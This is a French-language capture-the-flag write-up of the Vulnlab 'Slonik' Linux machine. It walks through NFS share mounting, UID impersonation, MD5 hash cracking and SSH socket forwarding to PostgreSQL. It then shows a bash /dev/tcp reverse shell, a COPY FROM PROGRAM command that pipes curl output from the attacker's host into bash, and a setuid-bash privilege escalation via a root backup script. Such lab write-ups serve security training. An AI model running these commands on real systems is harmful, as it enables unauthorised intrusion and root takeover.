Vulnlab – Slonik

OSDifficultyTarget
LinuxMedium10.10.76.8

🔭 Enumeration

nmap 10.10.76.8
Starting Nmap 7.93 ( https://nmap.org ) at 2025-04-02 13:21 CEST
Nmap scan report for 10.10.76.8
Host is up (0.018s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
2049/tcp open  nfs

Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
nmap -sC -sV 10.10.76.8
Starting Nmap 7.93 ( https://nmap.org ) at 2025-04-02 13:24 CEST
Nmap scan report for 10.10.76.8
Host is up (0.015s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2d8d0a43a75820736b8cfcb0d12f4507 (ECDSA)
|_  256 82fb90b0ebac20a2535e3c7cd33c3479 (ED25519)
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      32999/tcp6  mountd
|   100005  1,2,3      38435/tcp   mountd
|   100005  1,2,3      39911/udp   mountd
|   100005  1,2,3      58324/udp6  mountd
|   100021  1,3,4      35680/udp   nlockmgr
|   100021  1,3,4      40059/tcp6  nlockmgr
|   100021  1,3,4      41181/tcp   nlockmgr
|   100021  1,3,4      41859/udp6  nlockmgr
|   100024  1          40186/udp   status
|   100024  1          47815/tcp6  status
|   100024  1          47972/udp6  status
|   100024  1          55953/tcp   status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.85 seconds
PORTSERVICE
22SSH
111RPCBIND
2049NFS_ACL

Le port 2049 utilise NFS. C’est un protocole de système de fichiers distribué qui permet aux utilisateurs d’accéder aux fichiers et de les partager entre les systèmes sur un réseau. Il est possible de voir le contenu en utilisant la commande: showmount -e $TARGET , $TARGET étant l’IP de la cible. Nous allons créer un dossier Slonik et monter le dossier partagé.

sudo mkdir slonik && sudo mount -t nfs 10.10.76.8: ./slonik

~/slonik                                                                                                                                                                                                                13:29:00
❯ tree -l
.
├── home
│   └── service  [error opening dir]
└── var
    └── backups
        ├── archive-2025-04-02T1123.zip
        ├── archive-2025-04-02T1124.zip
        ├── archive-2025-04-02T1125.zip
        ├── archive-2025-04-02T1126.zip
        ├── archive-2025-04-02T1127.zip
        ├── archive-2025-04-02T1128.zip
        └── ziz7eYmh

5 directories, 7 files

~/slonik/home                                                                                                                                                                                                           13:28:16
❯ ls -la
   rwxr-xr-x    3   root   root      4 KiB   Tue Oct 24 15:03:30 2023    ./
   rwxr-xr-x   19   root   root      4 KiB   Wed Apr  2 13:08:37 2025    ../
   rwxr-x---    5   1337   1337      4 KiB   Tue Oct 24 15:05:00 2023    service/

On peut y voir le dossier service et backups. L’accès étant refusé, on observe cependant que le dossier appartient à l’user 1337 et qu’il en possède les droits. Nous créons un utilisateur sur notre hôte pour y accéder (Impersonation).

sudo adduser --badname 1337
sudo usermod -u 1337 1337
sudo passwd 1337
su - 1337

Nous pouvons désormais naviguer dans le dossier service.

$ ls -lah service/
total 40K
drwxr-x--- 5 1337 1337 4,0K oct.  24  2023 .
drwxr-xr-x 3 root root 4,0K oct.  24  2023 ..
-rw-rw-r-- 1 1337 1337   90 oct.  24  2023 .bash_history
-rw-r--r-- 1 1337 1337  220 oct.  24  2023 .bash_logout
-rw-r--r-- 1 1337 1337 3,7K oct.  24  2023 .bashrc
drwx------ 2 1337 1337 4,0K oct.  24  2023 .cache
drwxrwxr-x 3 1337 1337 4,0K oct.  24  2023 .local
-rw-r--r-- 1 1337 1337  807 oct.  24  2023 .profile
-rw------- 1 1337 1337  326 oct.  24  2023 .psql_history
drwxrwxr-x 2 1337 1337 4,0K oct.  24  2023 .ssh
$ cat service/.bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
$ cat service/.psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', '<REDACTED>'WHERE', network access account');
select * from users;
\q

Plusieurs choses intéressantes dans les fichiers .bash_history et .psql_history. Le premier indique un fichier .s.PSQL.5432 qui est un fichier de socket Unix utilisé par PostgreSQL pour gérer les connexions locales sur le port 5432, suivi d’une commande de connexion à la base de donnée. Le second nous donne l’historique de PostgreSQL et la création d’un utilisateur service suivi d’un hash.

Nous récupérons le hash puis le passons dans John The Ripper. Il est également possible d’utilisé https://crackstation.net.

john hash --format=Raw-MD5

Le mot de passe est récupéré, tentons une connexion SSH.

👣 Foothold

ssh service@10.10.76.8

La connexion se termine instantanément après avoir saisi le mot de passe. Vous vous rappelez du fichier .s.PGSQL.5432 mentionné dans la section précédente? C’est là que les choses deviennent intéressantes. Après lecture et quelques recherches dans la documentation de PostgreSQL Il est possible de paramétré la connexion en localforward grâce au Socket UNIX (Article Medium).

ssh -N -L /tmp/.s.PGSQL.5435:/var/run/postgresql/.s.PGSQL.5432 service@10.10.76.8
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/     %@@@@@@@@@@.      @&             @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@   ############.    ############   ##########*  &@@@@@@@@@@@@@@@
@@@@@@@@@@@  ###############  ###################  /##########  @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################(  #########  @@@@@@@@@@@@
@@@@@@@@@  ############### (#########################  ######### @@@@@@@@@@@@
@@@@@@@@@ .##############  ###########################( #######  @@@@@@@@@@@@
@@@@@@@@@  ############## (        ##############        ######  @@@@@@@@@@@@
@@@@@@@@@. ############## #####   # .########### ##  ##  #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /########  ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@  ###########( #########, ############( ####  ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ #########  ##############  ##  #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ###########  #######  ################  / #  @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@  ############  ####  ###################    @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ##########  @@@      ################            (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .######  @@@@   ###  ##############  #######   @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@(  *   @. #######    ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@  #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #############  @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  ###########  @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  #######*  @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&   @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@10.10.76.8) Password:

A ce moment, on se demande si le mot de passe est bon, où si la box à un problème. Finalement, on ouvre un autre terminal puis on saisit la commande suivante:

psql -h /tmp -U postgres -p 5435
psql (15.8 (Debian 15.8-0+deb12u1), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
Type "help" for help.

postgres=# \list
                                             List of databases
   Name    |  Owner   | Encoding | Collate |  Ctype  | ICU Locale | Locale Provider |   Access privileges
-----------+----------+----------+---------+---------+------------+-----------------+-----------------------
 postgres  | postgres | UTF8     | C.UTF-8 | C.UTF-8 |            | libc            |
 service   | postgres | UTF8     | C.UTF-8 | C.UTF-8 |            | libc            |
 template0 | postgres | UTF8     | C.UTF-8 | C.UTF-8 |            | libc            | =c/postgres          +
           |          |          |         |         |            |                 | postgres=CTc/postgres
 template1 | postgres | UTF8     | C.UTF-8 | C.UTF-8 |            | libc            | =c/postgres          +
           |          |          |         |         |            |                 | postgres=CTc/postgres
(4 rows)

postgres=#

Pas grand chose dans la base en tant que postgres, toujours à la recherche d’informations et de connaissances, nous dénichons cet article Medium et Hacktricks permettant d’obtenir un RCE suite à l’intégration de COPY TO / FROM PROGRAM. Préparons notre reverse shell.

#!/bin/bash
bash -i >& /dev/tcp/10.8.0.147/443 0>&1

Mettons en écoute sur le port 443 et lançons la commande python -m http.server dans le répertoire du reverse shell.

nc -lvnp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.76.8.
Ncat: Connection from 10.10.76.8:39374.
bash: cannot set terminal process group (3327): Inappropriate ioctl for device
bash: no job control in this shell
postgres@slonik:/var/lib/postgresql/14/main$

Pour récupérer le fichier et l’exécuter, nous devons créer une table cmd exec(cmd_output text) utiliser COPY/FROM PROGRAM et ensuite SELECT pour lancer la commande.

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl http://10.8.3.147/rev | bash';
SELECT * FROM cmd_exec;

🎯 Privilege Escalation

Le reverse shell obtenu, nous décidons d’importer et d’exécuter PSPY64. Cet outil permet d’observer les process, les cron jobs, les commandes utilisateurs etc. Véritable atout pour voir un peu les failles potentielles des systèmes linux.

 ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░
                   ░           ░ ░
                               ░ ░

[...]
2025/02/04 13:02:02 CMD: UID=0     PID=1197   | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
2025/02/04 13:02:02 CMD: UID=115   PID=1196   | postgres: 14/main: walsender postgres [local] streaming 0/760000D8
2025/02/04 13:02:02 CMD: UID=0     PID=1198   |
2025/02/04 13:02:02 CMD: UID=0     PID=1199   | /bin/bash /usr/bin/backup
2025/02/04 13:02:03 CMD: UID=0     PID=1202   | /bin/bash /usr/bin/backup
2025/02/04 13:02:03 CMD: UID=0     PID=1201   | /bin/bash /usr/bin/backup
2025/02/04 13:02:03 CMD: UID=0     PID=1200   | /bin/bash /usr/bin/backup

Vous pouvez constater que /usr/bin/backup revient fréquemment. Jetons un oeil au script.

#!/bin/bash

date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
  /usr/bin/rm -rf /var/backups/*
fi

Nous pouvons voir que le script créer un backup du dossier /var/backups/ et met le tout dans /opt/backup/current. Nous décidons simplement de copier /bin/bash dans le dossier ~/14/main en lui attribuant les droits nécessaires sans oublier le setuid bit root, puis d’exécuter la commande /opt/backups/current/pwn -p pour obtenir les droits root.

postgres@slonik:/var/lib/postgresql/14/main$ cp /bin/bash pwn && chmod 777 pwn && chmod u+s pwn
postgres@slonik:/var/lib/postgresql/14/main$ ls -lah /opt/backups/current
total 1.6M
drwxr-xr-x 19 root root 4.0K Apr  2 13:12 .
drwxr-xr-x  3 root root 4.0K Oct 23  2023 ..
-rw-------  1 root root    3 Apr  2 13:12 PG_VERSION
-rw-------  1 root root  227 Apr  2 13:12 backup_label
-rw-------  1 root root 177K Apr  2 13:12 backup_manifest
drwx------  6 root root 4.0K Apr  2 13:12 base
drwx------  2 root root 4.0K Apr  2 13:12 global
drwx------  2 root root 4.0K Apr  2 13:12 pg_commit_ts
drwx------  2 root root 4.0K Apr  2 13:12 pg_dynshmem
drwx------  4 root root 4.0K Apr  2 13:12 pg_logical
drwx------  4 root root 4.0K Apr  2 13:12 pg_multixact
drwx------  2 root root 4.0K Apr  2 13:12 pg_notify
drwx------  2 root root 4.0K Apr  2 13:12 pg_replslot
drwx------  2 root root 4.0K Apr  2 13:12 pg_serial
drwx------  2 root root 4.0K Apr  2 13:12 pg_snapshots
drwx------  2 root root 4.0K Apr  2 13:12 pg_stat
drwx------  2 root root 4.0K Apr  2 13:12 pg_stat_tmp
drwx------  2 root root 4.0K Apr  2 13:12 pg_subtrans
drwx------  2 root root 4.0K Apr  2 13:12 pg_tblspc
drwx------  2 root root 4.0K Apr  2 13:12 pg_twophase
drwx------  3 root root 4.0K Apr  2 13:12 pg_wal
drwx------  2 root root 4.0K Apr  2 13:12 pg_xact
-rw-------  1 root root   88 Apr  2 13:12 postgresql.auto.conf
-rwsrwxrwx  1 root root 1.4M Apr  2 13:12 pwn
postgres@slonik:/var/lib/postgresql/14/main$ /opt/backups/current/pwn -p
pwn-5.1# id
uid=115(postgres) gid=123(postgres) euid=0(root) groups=123(postgres),122(ssl-cert)
pwn-5.1# cat /root/root.txt